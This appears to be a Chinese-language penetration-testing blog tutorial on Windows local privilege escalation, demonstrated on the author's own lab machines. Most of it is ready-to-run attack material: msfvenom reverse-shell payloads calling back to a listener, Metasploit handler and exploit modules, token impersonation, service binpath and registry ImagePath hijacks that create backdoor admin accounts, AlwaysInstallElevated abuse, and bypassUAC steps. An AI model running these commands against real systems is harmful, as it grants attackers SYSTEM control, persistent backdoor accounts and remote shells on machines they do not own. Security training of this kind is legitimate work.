Windows常用提权方法 (゚益゚メ) 渗透测试

1,497 阅读7分钟

文章目录

提权说明

Windows作为一个非常完善和成熟的系统体系,有着十分强大的权限管理体系,一般成熟的项目中,也都会有着比较完善的权限分级体系,我们一般能获取到的权限都是普通用户权限或管理员权限,Windows中提权主要指的就是将我们的权限提升到系统管理员(system)权限。提权不仅可以利用系统漏洞进行,一些软件程序的缺陷也可以被利用作为提权的一种方式。
权限等级: 普通用户(常规用户) < 管理员(administrator或管理员组其他用户) < 系统管理员,超级管理员(system)
windows漏洞汇总: github.com/SecWiki/win…

Windows提权类型

提权一般分为两种:

  1. 本地提权: 低权限用户利用一些漏洞将权限变为管理员级别。
  2. 远程提权: 远程攻击时直接获取到管理员级别的权限。

之后进行的提权大部分都是本地提权!

准备工作

进行Windows提权前,你最好对下列知识有所了解

  1. Windows信息收集、渗透测试常用命令: xunmi.blog.csdn.net/article/det…
  2. metasploit怎么用?基础(auxiliary、exploits、meterpreter)篇: xunmi.blog.csdn.net/article/det…
  3. metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇: xunmi.blog.csdn.net/article/det…

在真实渗透环境下,如果对了解Windows常用命令,熟练使用msf和cs的话,无论效率还是成功率都会高上不少。
我们进行本地提权的前提是已经拿到了目标低权限用户的控制台,这里我的靶机运行的Windows7系统,信息大体如下图!
在这里插入图片描述
当前我已经使目标上线我们的msf,并且尝试使用命名管道的方式进行提权(getsystem),并且失败了。(命名管道的原理大致就是在系统中创建一个管理员权限的服务进程,然后在和这个拥有管理员权限的服务进程建立通信管道连接,来达到获取管理员权限的目的),这种缺陷在当前的大多数系统中都已经被修复,支持这种提权方式的机器已经不多了。
在这里插入图片描述

手动配置漏洞

  1. 创建C:\Program Files\A app\A exe\myexe.exe路径中不存在的文件夹,myexe.exe可以直接新建一个文本文件重命名获得!将A app文件夹的完全控制权限给所有用户(everyone),如果没有找到everyone可以手动添加!
    在这里插入图片描述
  2. 在cmd中输入, SC Create "Test Service" binPath= "C:\Program Files\A app\A exe\myexe.exe" start= auto创建服务
  3. 并打开注册表(按win+R,然后输入regedit)找到创建的服务HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\services\ Test Service
  4. 将其也对所有人(everyone)开放完全控制权限!在这里插入图片描述

提权

一般Windows7默认的用户会是一个管理员用户,我们这里为了模拟真实环境,先在账户管理中心建立一个为标准用户权限的测试账号!
在这里插入图片描述

msf常用提权命令

# 加载一个插件(incognito),需要在sessions中加载
load incognito
# 查看当前可以用用户
list_tokens -u
# 切换用户
impersonate_token "用户名"

Windows可信任服务路径(不安全的文件/文件夹权限)

漏洞产生原因

这个漏洞主要为人为原因造成,大部分是由于管理员或者软件的服务路径配置不当造成的,造成此漏洞的主要原因是解析服务的二进制文件对应的文件路径中存在空格造成的系统歧义,因为Windows服务通常都是已系统管理员(System)权限运行的,所以我们如果伪装成系统服务进程,即可获得系统管理员权限!
例如:

# 系统服务中有一个路径为
C:\Program Files\Firefox Developer Edition\firefox.exe
# 则这个路径存在多种歧义,比如
C:\Program.exe
C:\Program Files\Firefox.exe
C:\Program Files\Firefox Developer.exe
C:\Program Files\Firefox Developer Edition\firefox.exe

首先我们可以在目标shell中输入如下命令,如果出现路径中携带空格切没有引号的服务项,则代表存在这种漏洞!

wmic service get name,displayname,pathname,startmode
# 快速查找语法
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

在这里插入图片描述

利用条件

当前可以被我们利用的路径为C:\Program Files\A app\A exe\myexe.exe
首先查看我们当前的用户对目标路径使用有足够的权限
icacls "C:\Program Files\A app"如果看到本用户所在的组中有F(完全控制)CI(子文件夹继承权限)OI(子文件继承权限)这三个属性,则表示我们有足够的权限操控它。
在这里插入图片描述

攻击演示

根据上述路径我们可以看出,我们可以尝试利用路径缺陷执行A.exe文件,所以我们先生成一个攻击载荷并将其命名为A.exe

# 这里我的靶机是32位所以攻击载荷直接写就可以,如果是64位,则需要使用windows/x64/meterpreter/reverse_tcp!!!
# 这个命令需要在msfconsole外执行!
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=9999 -f exe -o A.exe
# 在msf中启动监听(这个命令是在msfconsole中执行!!!)
handler -H 192.168.1.200 -P 9999 -p windows/meterpreter/reverse_tcp
# 进入目标非管理员权限的控制台(如果连这个都不知道在哪执行,你可以先去看看msf怎么用!!!)
session 5
# 将文件上传到指定文件夹中(这是在session中执行!!!)
upload A.exe "C:\Program Files\A app"
# 重启服务(这是在目标的shell中执行!!!在sessions中输入shell即可进入目标shell)
# 如果出现提示权限不足,则代表这种提权方式你的目标机器用不了,你可以尝试换一个服务测试!
sc stop "Test Service"
sc start "Test  Service"

常规情况下,我们在连上后不久就会被强制断开,这也是Windows的安全机制起到了作用,因为我们的服务在启动后并没有正常连接,所以很快会被Windows切断,如果不想被Windows切断我们的连接,需要进行一次进程迁移!在监听程序中,我们可以自动进行进程迁移
在这里插入图片描述

# 加载监听模块
use exploit/multi/handler
# 启动进程迁移模块
set autorunscript migrate -f
# 常规设置
set LHOST 192.168.1.200
set LPORT 9999
# 这里的载荷一定要和攻击时填写的一模一样,否则会连接失败!!
set payload windows/meterpreter/reverse_tcp
# 运行启动迁移模块的监听(如果提示端口被占用,可以使用jobs -K,来关闭之前的占用!)
run

在这里插入图片描述
PS: 上述我的目标是利用了路径空格,但如果你有权限的话,也可以将目标指定的文件替换成你的木马,这种替换就是所谓的不安全的文件/文件夹权限,比如上述我们直接替换myexe.exe,但一般这种文件都会因为正在被系统运行而无法被替换!所以这里就不演示了。

MSF载荷

除了上述手动操作外,我们还可以使用msf的脚本来自动通过可信任服务路径进行提权!

# 装载可信任服务路径提权模块
use exploit/windows/local/unquoted_service_path
# 设置提权目标
set sessions 1
# 运行
run

可以看到此模块能快速帮我们找到可以提权的服务路径,但因为我的一些配置错误导致无法重启服务最后失败了
在这里插入图片描述

不安全的服务权限

漏洞产生原因

这个同样也是用到了系统服务,和上述空格不同的是,这里利用的是因为配置不当造成的我们有权限对目标服务可执行文件的路径修改来达到运行我们指定木马的目的!
在这里插入图片描述

利用条件

accesschk权限查询工具下载地址: docs.microsoft.com/zh-cn/sysin…
这是一个微软官方的工具!
使用方法:

# 根据当前系统可以选择位64版本或者32位版本
accesschk.exe -ucqv "用户名" * /accepteula
accesschk64.exe -ucqv "用户名" * /accepteula
# 然后寻找具有完全控制权(services_all_access)的服务

services_all_access: 对此服务的属性拥有完全控制权
在这里插入图片描述
这里我还是拿我上面自行创建的服务操作
首先我们查看这个服务的详细信息: sc qc "Test Service"
这里我们主要看BINARY_PATH_NAME这里虽然直译过来为二进制文件路径指的就是上述可执行文件的路径!虽然这里说是路径,但其实这里可以执行任何命令,并且会以系统管理员的权限运行。
在这里插入图片描述

攻击演示

下面因为我的环境配置有些问题,所以导致常规用户操作服务,下面为了方便演示,我直接使用了管理员身份运行了cmd来演示!
除了上述演示的让目标使用高权限用户运行我们的木马外,我们还可以使用下列方法,创建一个新的管理员用户来达到提权的目标

# 将目标服务运行时的命令改为创建一个用户,用户名为root,用户密码为toor
sc config "Test Service" binpath= "net user root toor /add"
# 重启服务
sc stop "Test Service"
sc start "Test Service"
# 将我们新添加的用户添加入管理员组
sc config "Test Service" binpath= "net localgroup Administrators root /add"
# 最后最好再把服务变回最初的状态!
sc config "Test Service" binpath= "C:\Program Files\A app\A exe\myexe.exe"

这样我们就能获得一个一个有管理员权限的用户,间接达到提权的目标
在这里插入图片描述

MSF载荷

这个同样可以使用msf的脚本来自动通过不安全的服务权限进行提权!

# 装载服务权限提权模块
use exploit/windows/local/service_permissions
# 设置提权目标
set sessions 1
# 运行
run

比如下述我们就成功进行的提权
在这里插入图片描述

不安全的注册表权限

漏洞产生原因

这里我们同样是用Test Service来做我们的目标进行测试, 和上述服务类似,这里我们要修改的是ImagePath的路径信息,来达到恶意脚本执行的目的!
在这里插入图片描述

利用条件

检查注册表权限我们需要用到: subinacl.exe,但这个工具在微软官网被删除了,我暂时还没有找到其他可信任的下载源,大家就自行在网上查找把,csdn的下载资源里应该就有,我本来打算上传的,结果被提示已存在的资源!

# 如果我们想要给目标上传文件,一般选择上传到临时文件夹中
cd %temp%
# 上传文件夹
upload -f subinacl.exe
# 首先我们查询对Test Service我们有哪些权限
.\subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test Service" /display

这里我们可以看到我们对目标,如果没有找到具有完全控制权限的注册表则无法进行下一步操作了!
在这里插入图片描述

攻击演示

这里我们使用一个msf的脚本来创建一个管理员账号!

# 生成一个创建用户的木马
msfvenom -p windows/adduser USER=QAQ PASS=1qaz@WSX -f exe -a x86 --platform windows > adduser.exe
# 将木马上传到目标主机(如果无法上传到当前目录,可以现在cd %temp%到目标的临时目录中)
upload adduser.exe
# 修改注册表(在shell中执行)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\xunmi\AppData\Local\Temp\adduser.exe" /f
# 如果有权限的话,重启服务
sc stop "Test Service"
sc start "Test Service"
# 如果没有的话,重启机器也可以达到重启服务的效果
shutdown /r /t 0
# 做完最好在复原一下
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Program Files\A app\A exe\myexe.exe" /f

这里为了方便演示,我就不重启了,使用了管理员重启了服务后,成功让我们的指定用户上线!并且这个用户也是有管理员权限的!
在这里插入图片描述

不安全的注册表权限

下列是常用的可能会被利用的注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService

总是以高权限安装(Always Install Elevated)

这也是一个策略设置,作用是让系统中任意用户都可以系统管理员权限(system)安装程序(MSI)。这个权限默认是关闭的,需要手动开启!
PS: 本地组策略编辑器(gpedit.msc)只有在Windows专业版,企业版或者服务器版本中才会存在,我之前用的Windows7家庭版没有此漏洞,所以下面我的靶机换成了Windows server 2016
在这里插入图片描述

利用条件

首先我们运行下列命令查看是否会收到AlwaysInstallElevated REG_DWORD 0x1的提示,如果有此提示,则代表此系统开启了总是以高权限安装的功能。

# 查看是否开启
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 如果未开启可以手动进行开启
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

在这里插入图片描述

攻击演示

这里我们需要生成一个后缀为.msi格式的安装包,msf当前还不能生成真的.msi格式的程序,假的.msi格式无法获取到系统管理员权限,所以我们可以利用专门生成.msi格式的程序来进行操作。
.msi格式安装包生成器下载地址: www.exemsi.com/downloads/m…

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=7999 -f exe -o 无毒纯天然.exe
# 开启监听
handler -H 192.168.1.200 -P 7999 -p windows/meterpreter/reverse_tcp

使用msi生成安装包,然后将生成的安装包传入目标机器进行运行!
在这里插入图片描述

MSF载荷

这个同样可以使用msf的脚本来自动通过不安全的服务权限进行提权!

# 装载总是以高权限安装提权模块
use exploit/windows/local/always_install_elevated
# 设置提权目标
set sessions 1
# 运行
run

我因为是家庭版系统,应该不支持此服务从而可能导致了执行完成后没获得到系统管理员权限。
在这里插入图片描述

Windows系统内核漏洞

Windows内核漏洞种类繁多,如果我们一个一个探测会比较耗时耗力,基本思路就是先查看对方系统具体版本信息和已安装的漏洞补丁信息,根据这些信息在对比是否还存在已知漏洞。

开源脚本

Watson:针对Windows10平台的补丁扫描工具。 github.com/rasta-mouse…
Sherlock: Windows漏洞扫描工具。 github.com/rasta-mouse…

MSF载荷

MSF用于Windows系统的漏洞扫描模块一般使用模块为下列两种

# 查看目标已安装的补丁
post/windows/gather/enum_patches
# 查看目标可以被利用的漏洞
post/multi/recon/local_exploit_suggester

比如我们使用: local_exploit_suggester

# 自动化扫描目标主机存在的漏洞
use post/multi/recon/local_exploit_suggester
# 选择目标主机
set session 2
# 显示详细信息(默认不显示详细信息!)
set showdescription true 

在这里插入图片描述
这里我选择利用扫描出来的ms13_053_schlamperei漏洞

# 选择攻击载荷
use exploit/windows/local/ms13_053_schlamperei
# 指定攻击目标(我之前的目标2被我不小心关闭了,后面重新连接了一个目标3,都是一台主机)
setg session 3
# 启动
run


可以看到我们利用msf成功提权。

使用Potato漏洞

Potato下载地址: github.com/foxglovesec…
Potato提权原理: www.freebuf.com/sectool/983…!
因为Potato是由c#开发的,所以我们需要.net环境。我暂时还没成功复现这种提权方式,等之后复现成功了再来补全此处。

Potato变种

Origin Potato :
github.com/foxglovesec…
RottenPotato & JuicyPotato:
github.com/ohpe/juicy-…
RoguePotato:
github.com/antonioCoco…
SweetPotato:
github.com/CCob/SweetP…

绕过用户帐户控制(bypassUAC)

管理员组(administrator)的用户进行一些危险操作的时候,一般系统都会弹出一个用户账号控制的提示框,这个提示框会让很多攻击都失效,而bypassUAC就是用来让我们绕过这个用户控制的一种方法。
在这里插入图片描述

使用演示

# 装载bypassUAC
use exploit/windows/local/bypassuac
# 常规设置,默认攻击载荷为windows/meterpreter/reverse_tcp
set payload 攻击载荷
set LHOST 本机地址
set LPORT 端口
# 选择需要使用bypassUAC的目标
set session 1
run
# 主要:成功的前提条件是当前我们控制的用户在用户管理员组中!
# 使用bypassUAC成功拿到目标控制台后输入getsystem即可提权!
getsystem

在这里插入图片描述

bypassUAC变种

msfconsole中输入search bypassuac即可查看众多bypassUAC变种,如果一种不行,可以多试几种。(bypassUAC初版会被杀毒软件拦截,所以产生了很多变种来尝试绕过杀毒软件的拦截!)
在这里插入图片描述

最后放个大佬的提权教程:www.freebuf.com/articles/sy…